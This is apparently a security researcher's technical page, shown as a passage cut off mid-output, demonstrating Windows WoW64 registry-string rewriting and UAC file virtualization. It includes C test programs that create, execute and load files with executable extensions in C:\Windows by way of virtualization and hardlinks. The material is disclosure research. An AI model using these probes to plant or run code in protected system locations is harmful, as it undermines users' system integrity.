         Start the 32-bit command processor
            %SystemRoot%\SysWoW64\Cmd.exe
            and verify the documented behaviour:
        
REG.EXE ADD HKEY_CURRENT_USER /VE /F /D %ProgramFiles^% REG.EXE QUERY HKEY_CURRENT_USER /VE REG.EXE DELETE HKEY_CURRENT_USER /VE /FNote: the command lines can be copied and pasted as block into a Command Processor window.
The operation completed successfully.
HKEY_CURRENT_USER
    (Default)    REG_SZ    %ProgramFiles(x86)%
The operation completed successfully.
         Repeat the operations from step 1. with
            \Common Files appended to the unexpanded environment
            variable string %ProgramFiles%:
        
REG.EXE ADD HKEY_CURRENT_USER /VE /F /D %ProgramFiles^%\Common" "Files REG.EXE QUERY HKEY_CURRENT_USER /VE REG.EXE DELETE HKEY_CURRENT_USER /VE /F
The operation completed successfully.
HKEY_CURRENT_USER
    (Default)    REG_SZ    %ProgramFiles(x86)%\Common Files
The operation completed successfully.
         Repeat the operations from step 3. using the unexpanded
            environment variable string %CommonProgramFiles%
            instead of %ProgramFiles%:
        
REG.EXE ADD HKEY_CURRENT_USER /VE /F /D %CommonProgramFiles^% REG.EXE QUERY HKEY_CURRENT_USER /VE REG.EXE DELETE HKEY_CURRENT_USER /VE /F
The operation completed successfully.
HKEY_CURRENT_USER
    (Default)    REG_SZ    %CommonProgramFiles%
The operation completed successfully.
            OOPS: despite the striking similarity to the
            %ProgramFiles% and %ProgramFiles(x86)%
            pair, %CommonProgramFiles% is not translated to
            %CommonProgramFiles(x86)% – most obviously
            nobody at Microsoft considers it a keyword for translation from a 64-bit operation to a 32-bit operation.!
 Repeat the operations from step 1. using the unexpanded
            environment variable string %commonprogramfiles%
            instead of %ProgramFiles%:
        
REG.EXE ADD HKEY_CURRENT_USER /VE /F /D %commonprogramfiles^% REG.EXE QUERY HKEY_CURRENT_USER /VE REG.EXE DELETE HKEY_CURRENT_USER /VE /F
The operation completed successfully.
HKEY_CURRENT_USER
    (Default)    REG_SZ    %commonprogramfiles(x86)%
The operation completed successfully.
         Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#ifdef _WIN64
#error Must be built as 32-bit console application!
#endif
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
const	LPCWSTR	szBlunder[] = {L"%ProgramFiles%",
		               L"%programfiles%",
		               L"%ProgramFiles%\\Common Files",
		               L"%programfiles%\\common files",
		               L"%CommonProgramFiles%",
		               L"%commonprogramfiles%",
		               L"\"%ProgramFiles%\\Windows Mail\\WAB.exe\"",
		               L"\"%programfiles%\\windows mail\\wab.exe\"",
		               L"\"%ProgramFiles%\\Common Files\\Microsoft Shared\\MSInfo\\MSInfo32.exe\"",
		               L"\"%programfiles%\\common files\\microsoft shared\\msinfo\\msinfo32.exe\"",
		               L"\"%CommonProgramFiles%\\Microsoft Shared\\Ink\\TabTip.exe\"",
		               L"\"%commonprogramfiles%\\microsoft shared\\ink\\tabtip.exe\""};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	WCHAR	szExpand[MAX_PATH];
	WCHAR	szString[MAX_PATH];
	DWORD	dwString;
	DWORD	dwBlunder = 0UL;
	DWORD	dwError;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		do
		{
			dwError = RegSetValueEx(HKEY_CURRENT_USER,
			                        L"Blunder",
			                        REG_OPTION_RESERVED,
			                        REG_EXPAND_SZ,
			                        (LPBYTE) szBlunder[dwBlunder],
			                        wcslen(szBlunder[dwBlunder]) * sizeof(L'\0') + sizeof(L'\0'));
			if (dwError != ERROR_SUCCESS)
				PrintConsole(hError,
				             L"RegSetValueEx() returned error %lu\n",
				             dwError);
			else
			{
				dwString = sizeof(szString);
				dwError = RegQueryValueEx(HKEY_CURRENT_USER,
				                          L"Blunder",
				                          (LPDWORD) NULL,
				                          (LPDWORD) NULL,
				                          (LPBYTE) szString,
				                          &dwString);
				if (dwError != ERROR_SUCCESS)
					PrintConsole(hError,
					             L"RegQueryValueEx() returned error %lu\n",
					             dwError);
				else
				{
					if (ExpandEnvironmentStrings(szString,
					                             szExpand,
					                             sizeof(szExpand) / sizeof(*szExpand)) == 0UL)
						PrintConsole(hError,
						             L"ExpandEnvironmentStrings() returned error %lu\n",
						             dwError = GetLastError());
					if (wcscmp(szString, szBlunder[dwBlunder]) == 0)
						PrintConsole(hError,
						             L"RegSetValueEx() wrote \'%ls\' as-is which expands to \'%ls\'\n",
						             szBlunder[dwBlunder], szExpand);
					else
						PrintConsole(hError,
						             L"RegSetValueEx() wrote \'%ls\' as \'%ls\' which expands to \'%ls\'\n",
						             szBlunder[dwBlunder], szString, szExpand);
				}
			}
		}
		while (++dwBlunder < sizeof(szBlunder) / sizeof(*szBlunder));
		dwError = RegDeleteValue(HKEY_CURRENT_USER, L"Blunder");
		if (dwError != ERROR_SUCCESS)
			PrintConsole(hError,
			             L"RegDeleteValue() returned error %lu\n",
			             dwError);
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 5. for the 32-bit execution environment:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 6.:
        
.\blunder.exe
RegSetValueEx() wrote '%ProgramFiles%' as '%ProgramFiles(x86)%' which expands to 'C:\Program Files (x86)' RegSetValueEx() wrote '%programfiles%' as-is which expands to 'C:\Program Files (x86)' RegSetValueEx() wrote '%ProgramFiles%\Common Files' as '%ProgramFiles(x86)%\Common Files' which expands to 'C:\Program Files (x86)\Common Files' RegSetValueEx() wrote '%programfiles%\common files' as-is which expands to 'C:\Program Files (x86)\common files' RegSetValueEx() wrote '%CommonProgramFiles%' as-is which expands to 'C:\Program Files (x86)\Common Files' RegSetValueEx() wrote '%commonprogramfiles%' as '%commonprogramfiles(x86)%' which expands to 'C:\Program Files (x86)\Common Files' RegSetValueEx() wrote '"%ProgramFiles%\Windows Mail\WAB.exe"' as-is which expands to '"C:\Program Files (x86)\Windows Mail\WAB.exe"' RegSetValueEx() wrote '"%programfiles%\windows mail\wab.exe"' as-is which expands to '"C:\Program Files (x86)\windows mail\wab.exe"' RegSetValueEx() wrote '"%ProgramFiles%\Common Files\Microsoft Shared\MSInfo\MSInfo32.exe"' as-is which expands to '"C:\Program Files (x86)\Common Files\Microsoft Shared\MSInfo\MSInfo32.exe"' RegSetValueEx() wrote '"%programfiles%\common files\microsoft shared\msinfo\msinfo32.exe"' as-is which expands to '"C:\Program Files (x86)\common files\microsoft shared\msinfo\msinfo32.exe"' RegSetValueEx() wrote '"%CommonProgramFiles%\Microsoft Shared\Ink\TabTip.exe"' as-is which expands to '"C:\Program Files (x86)\Common Files\Microsoft Shared\Ink\TabTip.exe"' RegSetValueEx() wrote '"%commonprogramfiles%\microsoft shared\ink\tabtip.exe"' as-is which expands to '"C:\Program Files (x86)\Common Files\microsoft shared\ink\tabtip.exe"'OUCH: the Win32 function
RegSetValueEx()
            fails to replace %ProgramFiles% and
            %commonprogramfiles% within properly quoted path names
            – Honi soit qui mal y pense!
        %SystemRoot%\SysWoW64\RegEdit.exe,
            either interactive or with a .reg script, the
            SetupAPI with a
            .inf
            script via one of the command lines
            "%SystemRoot%\SysWoW64\RunDLL32.exe" "%SystemRoot%\SysWoW64\SetupAPI.dll",InstallHinfSection ‹pathname›.inf
            or
            "%SystemRoot%\SysWoW64\RunDLL32.exe" "%SystemRoot%\SysWoW64\AdvPack.dll",LauchINFSection ‹pathname›.inf,
            as well as the Windows Script Host with a
            JScript
            or
            VBScript
            via one of the command lines
            "%SystemRoot%\SysWoW64\CScript.exe" ‹pathname›.js
            or
            "%SystemRoot%\SysWoW64\WScript.exe" ‹pathname›.vbs,
            is left as an exercise to the reader!
        REGEDIT4
; Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
[HKEY_CURRENT_USER]
"1"="%ProgramFiles%"
"2"="%ProgramFiles%\\Common Files"
"3"="%CommonProgramFiles%"
"4"="%commonprogramfiles%"; Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
[Version]
DriverVer = 04/27/2004, 0.8.1.5
Provider  = "Stefan Kanthak"
Signature = "$Windows NT$"
[DefaultInstall.NTx86]
AddReg    = AddReg
[AddReg]
HKCU,,"1",0,"%%ProgramFiles%%"
HKCU,,"2",0,"%%ProgramFiles%%\Common Files"
HKCU,,"3",0,"%%CommonProgramFiles%%"
HKCU,,"4",0,"%%commonprogramfiles%%"Rem Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
With WScript.CreateObject("WScript.Shell")
	.RegWrite "HKEY_CURRENT_USER\1", "%ProgramFiles%"
	.RegWrite "HKEY_CURRENT_USER\2", "%ProgramFiles%\Common Files"
	.RegWrite "HKEY_CURRENT_USER\3", "%CommonProgramFiles%"
	.RegWrite "HKEY_CURRENT_USER\4", "%commonprogramfiles%"
	WScript.StdOut.WriteLine .RegRead("HKEY_CURRENT_USER\1")
	WScript.StdOut.WriteLine .RegRead("HKEY_CURRENT_USER\2")
	WScript.StdOut.WriteLine .RegRead("HKEY_CURRENT_USER\3")
	WScript.StdOut.WriteLine .RegRead("HKEY_CURRENT_USER\4")
	.RegDelete "HKEY_CURRENT_USER\1"
	.RegDelete "HKEY_CURRENT_USER\2"
	.RegDelete "HKEY_CURRENT_USER\3"
	.RegDelete "HKEY_CURRENT_USER\4"
End WithVirtualization is only enabled for:Windows Vista Application Development Requirements for User Account Control Compatibility How User Account Control (UAC) Affects Your Application In part 1 of their book Windows Internals, Mark Russinovich, David Solomon and Alex Ionescu state:[…]
32 bit interactive processes
Administrator writeable file/folder and registry keys
File virtualization addresses the situation where an application relies on the ability to store a file, such as a configuration file, in a system location typically writeable only by administrators. Running programs as a standard user in this situation might result in program failures due to insufficient levels of access.
When an application writes to a system location only writeable by administrators, Windows then writes all subsequent file operations to a user-specific path under the Virtual Store directory, which is located at %LOCALAPPDATA%\VirtualStore. Later, when the application reads back this file, the computer will provide the one in the Virtual Store. Because the Windows security infrastructure processes the virtualization without the application’s assistance, the application believes it was able to successfully read and write directly to Program Files. The transparency of file virtualization enables applications to perceive that they are writing and reading from the protected resource, when in fact they are accessing the virtualized version.
The file system locations that are virtualized for legacy processes are %ProgramFiles%, %ProgramData%, and %SystemRoot%, excluding some specific subdirectories. However, any file with an executable extension – including .exe, .bat, .scr, .vbs, and others – is excluded from virtualization. This means that programs that update themselves from a standard user account fail instead of creating private versions of their executables that aren’t visible to an administrator running a global updater.CAVEAT: the Win32 functions
CreateProcess*() and LoadLibrary*() which
            load (and execute) image files but don’t care
            for extensions – only the content of the file (really: the
            NTFS
            File Stream)
            matters to them!
        Mark Russinovich repeats these wrong statements in his TechNet article Inside Windows Vista User Account Control!
 The MSDN
            article
            File Attribute Constants
            documents FILE_ATTRIBUTE_VIRTUAL rather terse:
        
File attributes are metadata values stored by the file system on disk and are used by the system and are available to developers via various file I/O APIs.CAVEAT:[…]
Constant/value Description … … FILE_ATTRIBUTE_VIRTUAL 
65536 (0x10000)This value is reserved for system use. 
FILE_ATTRIBUTE_VIRTUAL is no
            persistent attribute!
         Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#ifdef _WIN64
#error Must be built as 32-bit console application!
#endif
#define _CRT_SECURE_NO_WARNINGS
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
const	STARTUPINFO	si = {sizeof(si),
			      (LPWSTR) NULL,
			      (LPWSTR) NULL,
			      (LPWSTR) NULL,
			      0UL, 0UL, 0UL, 0UL,
			      0UL, 0UL,
			      0UL,
			      STARTF_USESTDHANDLES,
			      0U,
			      0U,
			      (LPBYTE) NULL,
			      INVALID_HANDLE_VALUE,	// STDIN
			      INVALID_HANDLE_VALUE,	// STDOUT
			      INVALID_HANDLE_VALUE};	// STDERR
const	LPCWSTR	szExtension[] = {L".acm", L".asa", L".asp", L".ax",  L".bat", L".chm", L".cmd", L".cnt", L".cnv", L".com", L".cpl",
		                 L".crt", L".dll", L".drv", L".efi", L".exe", L".fon", L".hlp", L".hta", L".ime", L".inf", L".ins",
		                 L".iso", L".isp", L".its", L".js",  L".jse", L".lnk", L".msc", L".msi", L".msp", L".mst", L".mui",
		                 L".nls", L".ocx", L".pif", L".reg", L".scr", L".sct", L".shb", L".shs", L".sys", L".tlb", L".tmp",
		                 L".tsp", L".ttf", L".url", L".vb",  L".vbe", L".vbs", L".wll", L".wsc", L".wsf", L".wsh", L".xll"};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	PROCESS_INFORMATION	pi;
	DWORD	dwExtension = 0UL;
	DWORD	dwError = ERROR_SUCCESS;
	DWORD	dwModule;
	WCHAR	szModule[MAX_PATH];
	WCHAR	szBlunder[MAX_PATH];
	DWORD	dwBlunder;
	DWORD	dwVirtual;
	WCHAR	szVirtual[MAX_PATH];
	HANDLE	hVirtual;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		dwModule = GetModuleFileName((HMODULE) NULL,
		                             szModule,
		                             sizeof(szModule) / sizeof(*szModule));
		if (dwModule == 0UL)
			PrintConsole(hError,
			             L"GetModuleFileName() returned error %lu\n",
			             dwError = GetLastError());
		else
		{
			dwBlunder = GetSystemWindowsDirectory(szBlunder,
			                                      sizeof(szBlunder) / sizeof(*szBlunder));
			if (dwBlunder == 0UL)
				PrintConsole(hError,
				             L"GetSystemWindowsDirectory() returned error %lu\n",
				             dwError = GetLastError());
			else
			{
#ifdef BLUNDER
				wcscpy(szBlunder + dwBlunder, L":Blunder");
#else
				wcscpy(szBlunder + dwBlunder, L"\\Blunder");
				if (!CreateDirectory(szBlunder,
				                     (LPSECURITY_ATTRIBUTES) NULL))
					PrintConsole(hError,
					             L"CreateDirectory() returned error %lu for directory \'%ls\'\n",
					             dwError = GetLastError(), szBlunder);
				else
				{
					dwVirtual = GetFileAttributes(szBlunder);
					if (dwVirtual == INVALID_FILE_ATTRIBUTES)
						PrintConsole(hError,
						             L"GetFileAttributes() returned error %lu for directory \'%ls\'\n",
						             dwError = GetLastError(), szBlunder);
					else
						if (dwVirtual & FILE_ATTRIBUTE_VIRTUAL)
							PrintConsole(hError,
							             L"Directory \'%ls\' has \'FILE_ATTRIBUTE_VIRTUAL\'\n",
							             szBlunder);
					if (!RemoveDirectory(szBlunder))
						PrintConsole(hError,
						             L"RemoveDirectory() returned error %lu for directory \'%ls\'\n",
						             dwError = GetLastError(), szBlunder);
				}
#endif // BLUNDER
				do
				{
					wcscpy(szBlunder + dwBlunder + sizeof("Blunder"), szExtension[dwExtension]);
					hVirtual = CreateFile(szBlunder,
					                      FILE_WRITE_DATA,
					                      FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
					                      (LPSECURITY_ATTRIBUTES) NULL,
					                      CREATE_ALWAYS,
					                      FILE_ATTRIBUTE_NORMAL,
					                      (HANDLE) NULL);
					if (hVirtual == INVALID_HANDLE_VALUE)
						PrintConsole(hError,
						             L"CreateFile() returned error %lu for file \'%ls\'\n",
						             dwError = GetLastError(), szBlunder);
					else
					{
						dwVirtual = GetFileAttributes(szBlunder);
						if (dwVirtual == INVALID_FILE_ATTRIBUTES)
							PrintConsole(hError,
							             L"GetFileAttributes() returned error %lu for file \'%ls\'\n",
							             dwError = GetLastError(), szBlunder);
						else
							if (dwVirtual & FILE_ATTRIBUTE_VIRTUAL)
								PrintConsole(hError,
								             L"File \'%ls\' has \'FILE_ATTRIBUTE_VIRTUAL\'\n",
								             szBlunder);
						dwVirtual = GetFinalPathNameByHandle(hVirtual,
						                                     szVirtual,
						                                     sizeof(szVirtual) / sizeof(*szVirtual),
						                                     FILE_NAME_NORMALIZED | VOLUME_NAME_DOS);
						if (dwVirtual == 0UL)
							PrintConsole(hError,
							             L"GetFinalPathNameByHandle() returned error %lu for file \'%ls\'\n",
							             dwError = GetLastError(), szBlunder);
						else
							PrintConsole(hError,
							             L"File \'%ls\' is virtualized as \'%ls\'\n",
							             szBlunder, szVirtual + 4);
						if (!WriteFile(hVirtual,
						               L"\xFEFF",	// UTF-16LE byte order mark
						               sizeof(L'\xFEFF'),
						               &dwVirtual,
						               (LPOVERLAPPED) NULL))
							PrintConsole(hError,
							             L"WriteFile() returned error %lu for file \'%ls\'\n",
							             dwError = GetLastError(), szBlunder);
						else
							if (dwVirtual != sizeof(L'\xFEFF'))
								PrintConsole(hError,
								             L"WriteFile() wrote %lu of %lu bytes to file \'%ls\'\n",
								             dwVirtual, sizeof(L'\xFEFF'), szBlunder);
						if (!CloseHandle(hVirtual))
							PrintConsole(hError,
							             L"CloseHandle() returned error %lu for file \'%ls\'\n",
							             dwError = GetLastError(), szBlunder);
						if (!CreateProcess(szBlunder,
						                   (LPWSTR) NULL,
						                   (LPSECURITY_ATTRIBUTES) NULL,
						                   (LPSECURITY_ATTRIBUTES) NULL,
						                   TRUE,
						                   CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_PRESERVE_CODE_AUTHZ_LEVEL | CREATE_UNICODE_ENVIRONMENT,
						                   L"\0",
						                   (LPCWSTR) NULL,
						                   &si,
						                   &pi))
							PrintConsole(hError,
							             L"CreateProcess() returned error %lu for file \'%ls\'\n",
							             dwError = GetLastError(), szBlunder);
						else
						{
							PrintConsole(hError,
							             L"File \'%ls\' started as process %lu with primary thread %lu\n",
							             szBlunder, pi.dwProcessId, pi.dwThreadId);
							if (WaitForSingleObject(pi.hThread, INFINITE) == WAIT_FAILED)
								PrintConsole(hError,
								             L"WaitForSingleObject() returned error %lu\n",
								             dwError = GetLastError());
							if (!CloseHandle(pi.hThread))
								PrintConsole(hError,
								             L"CloseHandle() returned error %lu\n",
								             dwError = GetLastError());
							if (WaitForSingleObject(pi.hProcess, INFINITE) == WAIT_FAILED)
								PrintConsole(hError,
								             L"WaitForSingleObject() returned error %lu\n",
								             dwError = GetLastError());
							if (!CloseHandle(pi.hProcess))
								PrintConsole(hError,
								             L"CloseHandle() returned error %lu\n",
								             dwError = GetLastError());
						}
						hVirtual = LoadLibrary(szBlunder);
						if (hVirtual == NULL)
							PrintConsole(hError,
							             L"LoadLibrary() returned error %lu for file \'%ls\'\n",
							             dwError = GetLastError(), szBlunder);
						else
						{
							PrintConsole(hError,
							             L"File \'%ls\' loaded at address 0x%p\n",
							             szBlunder, hVirtual);
							if (!FreeLibrary(hVirtual))
								PrintConsole(hError,
								             L"FreeLibrary() returned error %lu for file \'%ls\'\n",
								             dwError = GetLastError(), szBlunder);
							else
								PrintConsole(hError,
								             L"File \'%ls\' unloaded from 0x%p\n",
								             szBlunder, hVirtual);
						}
						if (!DeleteFile(szBlunder))
							PrintConsole(hError,
							             L"DeleteFile() returned error %lu for file \'%ls\'\n",
							             dwError = GetLastError(), szBlunder);
					}
#ifndef BLUNDER
					if (!CreateHardLink(szBlunder,
					                    szModule,
					                    (LPSECURITY_ATTRIBUTES) NULL))
						PrintConsole(hError,
						             L"CreateHardLink() returned error %lu for hardlink \'%ls\'\n",
						             dwError = GetLastError(), szBlunder);
					else
					{
						dwVirtual = GetFileAttributes(szBlunder);
						if (dwVirtual == INVALID_FILE_ATTRIBUTES)
							PrintConsole(hError,
							             L"GetFileAttributes() returned error %lu for hardlink \'%ls\'\n",
							             dwError = GetLastError(), szBlunder);
						else
							if (dwVirtual & FILE_ATTRIBUTE_VIRTUAL)
								PrintConsole(hError,
								             L"Hardlink \'%ls\' has \'FILE_ATTRIBUTE_VIRTUAL\'\n",
								             szBlunder);
						if (!CreateProcess(szBlunder,
						                   (LPWSTR) NULL,
						                   (LPSECURITY_ATTRIBUTES) NULL,
						                   (LPSECURITY_ATTRIBUTES) NULL,
						                   TRUE,
						                   CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_PRESERVE_CODE_AUTHZ_LEVEL | CREATE_UNICODE_ENVIRONMENT,
						                   L"\0",
						                   (LPCWSTR) NULL,
						                   &si,
						                   &pi))
							PrintConsole(hError,
							             L"CreateProcess() returned error %lu for hardlink \'%ls\'\n",
							             dwError = GetLastError(), szBlunder);
						else
						{
							PrintConsole(hError,
							             L"Hardlink \'%ls\' started as process %lu with primary thread %lu\n",
							             szBlunder, pi.dwProcessId, pi.dwThreadId);
							if (WaitForSingleObject(pi.hThread, INFINITE) == WAIT_FAILED)
								PrintConsole(hError,
								             L"WaitForSingleObject() returned error %lu\n",
								             dwError = GetLastError());
							if (!CloseHandle(pi.hThread))
								PrintConsole(hError,
								             L"CloseHandle() returned error %lu\n",
								             dwError = GetLastError());
							if (WaitForSingleObject(pi.hProcess, INFINITE) == WAIT_FAILED)
								PrintConsole(hError,
								             L"WaitForSingleObject() returned error %lu\n",
								             dwError = GetLastError());
							if (!CloseHandle(pi.hProcess))
								PrintConsole(hError,
								             L"CloseHandle() returned error %lu\n",
								             dwError = GetLastError());
						}
						hVirtual = LoadLibrary(szBlunder);
						if (hVirtual == NULL)
							PrintConsole(hError,
							             L"LoadLibrary() returned error %lu for hardlink \'%ls\'\n",
							             dwError = GetLastError(), szBlunder);
						else
						{
							PrintConsole(hError,
							             L"Hardlink \'%ls\' loaded at address 0x%p\n",
							             szBlunder, hVirtual);
							if (!FreeLibrary(hVirtual))
								PrintConsole(hError,
								             L"FreeLibrary() returned error %lu for hardlink \'%ls\'\n",
								             dwError = GetLastError(), szBlunder);
							else
								PrintConsole(hError,
								             L"File \'%ls\' unloaded from 0x%p\n",
								             szBlunder, hVirtual);
						}
						if (!DeleteFile(szBlunder))
							PrintConsole(hError,
							             L"DeleteFile() returned error %lu for hardlink \'%ls\'\n",
							             dwError = GetLastError(), szBlunder);
					}
#endif // BLUNDER
				}
				while (++dwExtension < sizeof(szExtension) / sizeof(*szExtension));
			}
		}
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. for the 32-bit execution environment:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(193) : warning C4090: 'function' : different 'const' qualifiers blunder.c(281) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.01 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Directory 'C:\Windows\Blunder' has 'FILE_ATTRIBUTE_VIRTUAL' CreateFile() returned error 5 for file 'C:\Windows\Blunder.acm' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.acm' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.acm' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.acm' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.acm' CreateFile() returned error 5 for file 'C:\Windows\Blunder.asa' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.asa' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.asa' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.asa' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.asa' CreateFile() returned error 5 for file 'C:\Windows\Blunder.asp' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.asp' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.asp' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.asp' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.asp' CreateFile() returned error 5 for file 'C:\Windows\Blunder.ax' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.ax' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.ax' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.ax' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.ax' CreateFile() returned error 5 for file 'C:\Windows\Blunder.bat' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.bat' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.bat' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.bat' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.bat' CreateFile() returned error 5 for file 'C:\Windows\Blunder.chm' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.chm' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.chm' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.chm' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.chm' CreateFile() returned error 5 for file 'C:\Windows\Blunder.cmd' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.cmd' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.cmd' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.cmd' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.cmd' CreateFile() returned error 5 for file 'C:\Windows\Blunder.cnt' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.cnt' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.cnt' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.cnt' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.cnt' CreateFile() returned error 5 for file 'C:\Windows\Blunder.cnv' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.cnv' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.cnv' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.cnv' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.cnv' CreateFile() returned error 5 for file 'C:\Windows\Blunder.com' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.com' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.com' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.com' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.com' CreateFile() returned error 5 for file 'C:\Windows\Blunder.cpl' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.cpl' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.cpl' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.cpl' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.cpl' CreateFile() returned error 5 for file 'C:\Windows\Blunder.crt' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.crt' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.crt' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.crt' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.crt' CreateFile() returned error 5 for file 'C:\Windows\Blunder.dll' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.dll' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.dll' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.dll' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.dll' CreateFile() returned error 5 for file 'C:\Windows\Blunder.drv' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.drv' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.drv' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.drv' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.drv' File 'C:\Windows\Blunder.efi' has 